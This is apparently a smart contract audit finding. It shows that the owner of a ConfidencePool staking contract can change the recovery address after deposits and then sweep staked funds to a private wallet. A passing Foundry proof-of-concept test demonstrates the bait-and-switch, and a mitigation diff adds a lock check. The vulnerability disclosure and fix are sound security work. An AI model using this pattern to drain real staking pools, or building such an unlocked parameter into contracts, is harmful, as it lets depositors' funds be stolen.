Root + Impact
Description
-
The contract dynamically locks key parameters like the pool's expiry on the first stake to guarantee stakers that the pool parameters cannot be changed after they commit capital.
-
Unlike expiry, the recoveryAddress is never locked upon staker deposits and can be modified by the pool owner at any time, allowing a malicious sponsor to bait depositors with a trusted recovery address (e.g. a multisig) and switch it to a personal wallet prior to sweeping the pool.
function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
address oldRecoveryAddress = recoveryAddress;
@> recoveryAddress = newRecoveryAddress;
emit RecoveryAddressUpdated(oldRecoveryAddress, newRecoveryAddress);
}
function claimCorrupted() external nonReentrant {
if (outcome != PoolStates.Outcome.CORRUPTED) revert OutcomeNotSet();
if (goodFaith && bountyClaimed < bountyEntitlement) revert MustClaimBountyFirst();
uint256 toSweep = stakeToken.balanceOf(address(this));
if (toSweep == 0) revert NothingToSweep();
corruptedReserve = toSweep <= corruptedReserve ? corruptedReserve - toSweep : 0;
if (!goodFaith) {
bountyClaimed = bountyEntitlement;
}
if (!claimsStarted) claimsStarted = true;
@> stakeToken.safeTransfer(recoveryAddress, toSweep);
emit ClaimCorrupted(msg.sender, recoveryAddress, toSweep);
}
Risk
Likelihood:
Impact:
Proof of Concept
Poc Explanation:The PoC walks through a four-step attack: (1) the sponsor sets a reputable publicRecovery address (simulating a multisig) and attracts 150 tokens of stake plus 30 tokens of bonus; (2) the registry transitions to CORRUPTED and the moderator flags a bad-faith outcome, locking stakers out of withdrawals; (3) the sponsor calls setRecoveryAddress to swap the destination to their private wallet — an action that succeeds with no revert because there is no lock; (4) claimCorrupted transfers the entire 180-token pool balance to the new private address, while stakers and the original recovery address receive nothing.
How to Run
Run the test from the workspace directory using the following Foundry command:
bashforge test --match-test testPoC_badFaithCorrupted_redirectsStakeAfterDeposit -vv
Output Result
text
No files changed, compilation skipped
Ran 1 test for test/unit/RecoveryAddressBaitAndSwitch.t.sol:RecoveryAddressBaitAndSwitchTest
\[PASS] testPoC\_badFaithCorrupted\_redirectsStakeAfterDeposit() (gas: 638910)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 27.69ms (2.21ms CPU time)
Ran 1 test suite in 52.92ms (27.69ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
function testPoC_badFaithCorrupted_redirectsStakeAfterDeposit() external {
pool.setRecoveryAddress(publicRecovery);
assertEq(pool.recoveryAddress(), publicRecovery);
_stake(alice, 100 * ONE);
_stake(bob, 50 * ONE);
_contributeBonus(carol, 30 * ONE);
uint256 poolBalance = 180 * ONE;
assertEq(token.balanceOf(address(pool)), poolBalance);
_passThroughUnderAttack();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
pool.setRecoveryAddress(sponsorWallet);
assertEq(pool.recoveryAddress(), sponsorWallet);
uint256 sponsorBefore = token.balanceOf(sponsorWallet);
uint256 publicBefore = token.balanceOf(publicRecovery);
pool.claimCorrupted();
assertEq(token.balanceOf(sponsorWallet) - sponsorBefore, poolBalance);
assertEq(token.balanceOf(publicRecovery), publicBefore, "original recovery receives nothing");
assertEq(token.balanceOf(alice), 0, "alice forfeits principal");
assertEq(token.balanceOf(bob), 0, "bob forfeits principal");
}
Recommended Mitigation
Add a lock check or lock status check inside the setRecoveryAddress function to mirror the expiryLocked status:
@@ -608,8 +608,11 @@ contract ConfidencePool is Initializable, Ownable2Step, ReentrancyGuard, Pausabl
+ error RecoveryAddressLocked();
+
/// @inheritdoc IConfidencePool
// aderyn-ignore-next-line(centralization-risk)
function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
+ if (expiryLocked) revert RecoveryAddressLocked();
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
address oldRecoveryAddress = recoveryAddress;